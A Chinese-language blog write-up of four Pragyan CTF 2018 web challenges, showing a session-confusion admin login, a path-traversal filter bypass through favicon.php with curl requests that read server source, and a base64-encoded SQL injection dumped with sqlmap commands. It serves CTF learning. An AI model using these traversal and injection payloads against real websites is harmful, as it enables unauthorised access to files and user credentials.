Pragyan CTF 2018-Web

作者: JasonChiu17 | 来源:发表于2018-03-05 20:06 被阅读38次

Pragyan CTF 2018-Web
Pragyan CTF 2019
ctf特训营pdf下载
ctf常用知识库
[CTF_web]exec/exec3.php
新手科普 | CTF PWN堆溢出总结
南京邮电ctf-CG-CTF—WEB—WriteUp(持续更新)
CTF从入门到提升
实验吧-编程-百米
pwn学习笔记之分析篇【frame faking】

https://ctf.pragyan.org/

Unfinished business (100pts)

There was a miscellaneous platform being built for various purposes, but it had to be shelved halfway through.
Wanna check it out? Here is the link: http://128.199.224.175:25000/
Note: Use your Pragyan CTF credentials to log in.
打开页面用自己的账号登陆，勾选admin：

出现了302的admin.php，用burpsuite查看：

- pctf{y0u=Sh0Uldn'1/h4v3*s33n,1his.:)}

Authenticate your way to admin (150pts)

Owen had created an authentication system which lets users login with their email-id or their team name. But that’s not fun is it? Logging in as the admin beats it all, so there’s your challenge.
The portal is running at 128.199.224.175:23000
Note: Use your Pragyan CTF credentials to login to the web portal.

<?php

session_start();

require "helpers.php";

$type = $_POST['id_type'];
$identifier = $_POST['identifier'];
$password = $_POST['password'];
$_SESSION['id'] = $identifier;

if($type === 'team_name') {
    $team_name = $identifier;
    $_SESSION['id_type'] = 'team_name';

    if(verify_teamname_password($team_name, $password) === true) {
        $_SESSION['logged_in'] = true;
        redirect('/homepage.php');
    }
    else {
        die("Invalid Team Name-Password combination !!");
    }
}
elseif ($type === 'email') {
    $email = $identifier;
    $_SESSION['id_type'] = 'email';

    if(verify_email_password($email, $password) === true) {
        $_SESSION['logged_in'] = true;
        redirect('/homepage.php');
    }
    else {
        die("Invalid Email-Password combination !!");
    }
}

?>

homepage.php:

<?php

session_start();

require "helpers.php";

if(! check_login())
    redirect($LOGIN_URL);

$id_type = $_SESSION['id_type'];
$id = $_SESSION['id'];

?>

<!DOCTYPE html>
<html>
<head>
    <title>Homepage</title>
</head>
<body style='background-color: #d6eaf8'>

<p style="float: right">
<a href='/logout.php'> Logout </a>
</p>
<p style="clear: both"></p>

<p style='height:30px; width:100%;'> </p>

<center>
    
<h2> Welcome User !! </h2>
<br><br>

<h3>
<?php
if($id_type === 'email') {
    echo "Email :- ".$id;
}
elseif ($id_type === 'team_name') 
{
    echo "Team Name :- ".$id ;
}
?>
</h3>
<br><br>

<h4>
Here's a random funny saying for you :) <br>
</h4>
<br><br>

<?php
    require "sayings.php";
    printf(get_random_saying());
    echo "<br><br>";
    if($id === 'admin' && $id_type === 'team_name')
        printf(output_flag());
?>

</center>

</body>
</html>

从source code中可以知道，要令$id === 'admin' && $id_type === 'team_name,
而$id_type = $_SESSION['id_type'];$id = $_SESSION['id']，
$_SESSION['id'] = $identifier;,
$identifier = $_POST['identifier'];
我们可以先用自己的账号登入绕过密码验证，然后再另开一个标签页B来post一个id=admin,保持刚开始账号登陆的页面A打开，此时服务器里的session['id']=admin,刷新自己刚才登陆的页面A就出来了flag。
开始我一直卡在怎么post一个id=admin上面，在homepage.php页面post，然后人家是在login.php读取post数据，卡在这很久，不知道新开一个标签页来post。

- pctf{4u1h3ntic4Ti0n.4nd~4u1horiz4ti0n_diff3r}

El33t Articles Hub (200pts)

Are you a person interested in reading articles on hacking? You’ve come to the right place, check out our brand new website for article-reading enthusiasts.
The portal is running on 128.199.224.175:22000
打开如下：

点开其中一篇，url：http://128.199.224.175:22000/?file=Breakfast Tips，想着这个?file可能是文件包含，试了一下：

查看页面源码看看有什么文件：


<!DOCTYPE html>
<html>
  <head>

  <link rel='shortcut icon' href='favicon.php?id=5' type='image/x-icon'>
    <meta charset="UTF-8">
    <title>El33t Articles Hub</title>

  <link rel="stylesheet" href="css/bootstrap.min.css">
  <style type="text/css">
      #container {
        background-color: #fcf3cf   ;
        width: 60%;
        border: 1px solid grey;
        padding: 10px;
        margin: auto;
        margin-top: 10px;
        margin-bottom: 30px;
      }

      #container p {
        padding: 10px;
        font-size: 16px;
      }

      #header {
        height: 100px;
        margin: 20px;
        text-align: center;
        font-size: 24px;
      }

      body {
        background-color:  #f9e79f  ;
      }

  </style>

  </head>

  <body>

  <div id='header'>
        <b><u> El33t Articles Hub </u> </b>
  </div>

    <div id='container'>
    <br><center>File "Breakfast.txt" not found !!</center>

有个favicon.php?id=2，这里也可能可以读取文件,事实证明，?file=是一个坑，应在在favicon.php?id=上读取文件：

查看图片信息->保存图片->sublime打开
(这里一直不知道怎么查看信息，后来经过战队的大佬提点才知道可以这样做，还可以采用curl的方法)：

root@kali:~# curl http://128.199.224.175:22000/favicon.php?id=../index.php
No files named './favicons/../index.php.png', './favicons/../index.php.ico'  or './favicons/../index.php.php' found

知道了自动加后缀，于是可以这样做，读取favicons和index：

root@kali:~# curl http://128.199.224.175:22000/favicon.php?id=../favicon
<?php

error_reporting(0);

$fav_id = !empty($_GET['id']) ? $_GET['id'] : '1';

header("Content-Type: image/x-icon"); 
header("Pragma-directive: no-cache");
header("Cache-directive: no-cache");
header("Cache-control: no-cache");
header("Cache-Control: no-store");
header("Pragma: no-cache");
header("Expires: 0");


$favicon = $fav_id;
$filepath = "./favicons/".$favicon;


if(file_exists($filepath . ".png")) {
    $favicon = $filepath . ".png";
}
else if (file_exists($filepath . ".php")) {
    $favicon = $filepath . ".php";
}
else if (file_exists($filepath . ".ico")) {
    $favicon = $filepath . ".ico";
}
else {
    $err_msg = "No files named '$filepath.png', '$filepath.ico'  or '$filepath.php' found ";
    echo $err_msg;
    die();
}


if(!file_exists($favicon)) {
    echo "File '$filepath' does not exist";
    die();
}

readfile($favicon); 

?>

root@kali:~# curl http://128.199.224.175:22000/favicon.php?id=../index


<!DOCTYPE html>
<html>
  <head>

  <?php
    $favicon_id = mt_rand(1,7);
    echo "<link rel='shortcut icon' href='favicon.php?id=$favicon_id' type='image/x-icon'>";
  ?>

    <meta charset="UTF-8">
    <title>El33t Articles Hub</title>

  <link rel="stylesheet" href="css/bootstrap.min.css">
  <style type="text/css">
      #container {
        background-color: #fcf3cf   ;
        width: 60%;
        border: 1px solid grey;
        padding: 10px;
        margin: auto;
        margin-top: 10px;
        margin-bottom: 30px;
      }

      #container p {
        padding: 10px;
        font-size: 16px;
      }

      #header {
        height: 100px;
        margin: 20px;
        text-align: center;
        font-size: 24px;
      }

      body {
        background-color:  #f9e79f  ;
      }

  </style>

  </head>

  <body>

  <div id='header'>
        <b><u> El33t Articles Hub </u> </b>
  </div>

    <div id='container'>
    <?php
        error_reporting(0);
        require "fetch.php";
        require "helpers.php";

        $filename = !empty($_GET['file']) ? $_GET['file'] : "";

        if($filename !== "") {

            $filename = sanitize($filename);
            $file_contents = read_article($filename);
            echo "<p>";
            echo $file_contents;
            echo "</p>";
        }
        else {
            $files = scandir('./articles');
            echo "<ul>";
            foreach($files as $i) {
                $temp = new SplFileInfo($i);
                $ext = $temp->getExtension();
                if($ext !== "txt")
                    continue;
                $t = explode(".txt", $i)[0];
                echo "<li><h4><a href='?file=$t'> $t </a> </h4></li>";
            }
            echo "</ul>";
        }

    ?>

    </div>
    <center>
        <p> Copywrite &copy; El33t Articles Hub </p>
    </center>
  </body>

</html>

继续读取fetch.php，helpers.php：

root@kali:~# curl http://128.199.224.175:22000/favicon.php?id=../fetch
<?php


function read_article($filename) {
    $file_content = file_get_contents("./articles/".$filename);

    if($file_content === false)
        article_not_found($filename);
    else
        return $file_content;

}

?>
root@kali:~# curl http://128.199.224.175:22000/favicon.php?id=../helpers
<?php

function article_not_found($name) {
    echo "<br><center>";
    echo "File \"$name\" not found !!";
    echo "</center>";
    die();
}

function sanitize($filename) {

    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");
    foreach ($evil_chars as $value) {
        if( strpos($filename, $value) !== false) {
            echo "You naughty cheat !!<br>";
            die();
        }
    }

    // Sanitize input file name
    $bad_chars = array("./", "../");
    foreach ($bad_chars as $value) {
        $filename = str_replace($value, "", $filename);
    }

    $temp = new SplFileInfo($filename);
    $ext = $temp->getExtension();

    if( $ext !== "txt") {
        $filename = $filename.".txt";
    }

    return $filename;

}

?>

找到了flag的位置：secret/flag_7258689d608c0e2e6a90c33c44409f9d
但是有过滤：

    foreach ($evil_chars as $value) {
        if( strpos($filename, $value) !== false) {
            echo "You naughty cheat !!<br>";
            die();
        }
    }

    $bad_chars = array("./", "../");
    foreach ($bad_chars as $value) {
        $filename = str_replace($value, "", $filename);
    }

绕过：因为helpers.php是在index.php中请求的，于是不适用方法1，而使用方法2.
1.http://128.199.224.175:22000/favicon.php?id=.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d
2.http://128.199.224.175:22000/?file=.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d

root@kali:~# curl http://128.199.224.175:22000/favicon.php?id=.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d
No files named './favicons/.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d.png', './favicons/.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d.ico'  or './favicons/.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d.php' found 


root@kali:~# curl http://128.199.224.175:22000/?file=.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d


<!DOCTYPE html>
<html>
  <head>

  <link rel='shortcut icon' href='favicon.php?id=1' type='image/x-icon'>
    <meta charset="UTF-8">
    <title>El33t Articles Hub</title>

  <link rel="stylesheet" href="css/bootstrap.min.css">
  <style type="text/css">
      #container {
        background-color: #fcf3cf   ;
        width: 60%;
        border: 1px solid grey;
        padding: 10px;
        margin: auto;
        margin-top: 10px;
        margin-bottom: 30px;
      }

      #container p {
        padding: 10px;
        font-size: 16px;
      }

      #header {
        height: 100px;
        margin: 20px;
        text-align: center;
        font-size: 24px;
      }

      body {
        background-color:  #f9e79f  ;
      }

  </style>

  </head>

  <body>

  <div id='header'>
        <b><u> El33t Articles Hub </u> </b>
  </div>

    <div id='container'>
    <p>

The flag is :- pctf{1h3-v41id41i0n_SuCk3d~r34l-baD}

</p>
    </div>
    <center>
        <p> Copywrite &copy; El33t Articles Hub </p>
    </center>
  </body>

</html>

- pctf{1h3-v41id41i0n_SuCk3d~r34l-baD}

Animal attack (200pts)

Animals have taken over our world and a specific team of animal spies have taken the role of leading the entire army of animals. We humans have formed a group of rebels who have taken it up as a mission to find the main users of the animal spies and find the admin of that group. The admin, with his username and password can launch a powerful attack on the humans. Help the human rebels group get the world back from the animals.
The portal is available at :- http://128.199.224.175:24000/

尝试了一下，发现搜索栏可以注入，但是会先加密为base64：

使用sqlmap（使用了union语句就会重定向到另一个页面，我调高了level和risk重新跑，开始网速慢，总是断线重连，跑得很慢，早上重新一跑，秒出结果）：
由于是post参数spy_name，利用burpsuite保存请求信息文件，利用sqlmap的-r参数来读取文件。

sqlmap -r ~/Desktop/animal -p spy_name --eval "import base64;spy_name=base64.b64encode(spy_name)" --level=5 --risk=3 --dbs
available databases [2]:
[*] information_schema
[*] spy_database

sqlmap -r ~/Desktop/animal -p spy_name --eval "import base64;spy_name=base64.b64encode(spy_name)" --level=5 --risk=3 --dbms=mysql -D spy_database --tables
Database: spy_database
[2 tables]
+-------+
| spies |
| users |
+-------+
sqlmap -r ~/Desktop/animal -p spy_name --eval "import base64;spy_name=base64.b64encode(spy_name)" --level=5 --risk=3 --dbms=mysql --random-agent -D spy_database  -T users --dump
Database: spy_database
Table: users
[2 entries]
+----+---------------------+----------+--------------------------------------+
| id | email               | username | password                             |
+----+---------------------+----------+--------------------------------------+
| 1  | spy_admin@admin.com | admin    | pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?} |
| 2  | test                | test     | test                                 |
+----+---------------------+----------+--------------------------------------+

pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}

Pragyan CTF 2018-Web
https://ctf.pragyan.org/ Unfinished business (100pts) The...
Pragyan CTF 2019
Cookie Monster Do prepare to see cookies lurking everywhe...
ctf特训营pdf下载
ctf特训营pdf下载ctf特训营pdf下载ctf特训营pdf下载 https://download.csdn.n...
ctf常用知识库
分享一下tools常用的网站ctf-wiki ：https://ctf-wiki.github.io/ctf-wi...
[CTF_web]exec/exec3.php
CTF_web CTF_web 源码如下 : 分析利用代码 :
新手科普 | CTF PWN堆溢出总结
新手科普 | CTF PWN堆溢出总结 pwn堆溢出基础 CTF pwn 中最通俗易懂的堆入坑指南CTF pwn ...
南京邮电ctf-CG-CTF—WEB—WriteUp(持续更新)
南京邮电ctf-CG-CTF—WEB—WriteUp(持续更新) 南京邮电练习题-CTF练习题 web篇 1.签到...
CTF从入门到提升
CTF选手的操作都是像吴白那么帅嘛？如何入门CTF比赛，一篇经验带你入门。 CTF（Capture The Fla...
实验吧-编程-百米
ctf-编码-百米 http://www.shiyanbar.com/ctf/1971
pwn学习笔记之分析篇【frame faking】
文章地址：https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflo...